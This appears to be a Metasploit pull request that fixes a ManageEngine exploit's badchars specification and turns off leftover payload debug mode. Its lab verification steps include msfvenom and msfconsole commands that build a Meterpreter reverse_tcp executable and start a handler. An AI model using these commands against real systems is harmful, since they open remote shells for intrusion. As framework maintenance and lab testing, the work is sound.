remove unneeded badchars from payload specification for manageengine_connectionid_write, remove payload debug messages

[bcook-r7]

This fixes #7487 in two ways. Looking at the manageengine_connectionid_write exploit, it did not need to specify badchars, because it encodes its payload as a safe hex string internally anyway. So, removing the specification makes this work again.

But, obviously not every exploit can lift this constraint; we need more. Looks like DEBUG mode got left enabled with rapid7/metasploit-payloads@0cbb86c . It is possible we have a bug in the debug output code, and it turns out that independently disabling this again also fixes the issue.

Verification

List the steps needed to make sure this thing works

• Bootstrap metasploitable3
• run the exploit per Add ManageEngine Desktop Central Vuln to Metasploitable3 metasploitable3#17
• Verify that meterpreter stages and executes properly
• try reverse_tcp meterpreter payload with a null badchars specification, e.g.:

./msfvenom -p windows/meterpreter/reverse_tcp -f exe -o ../metasploitable3/test.exe LHOST=192.168.1.1 -b '\x00'
./msfconsole -qx 'use exploit/multi/handler; set payload windows/meterpreter/reverse_tcp; set lhost 192.168.1.1; run'

• Verify that meterpreter stages and executes properly

[wchen-r7]

Release Notes

This fixes an issue in Meterpreter that causes an exploit to fail establishing a session. It also disables the DEBUG mode.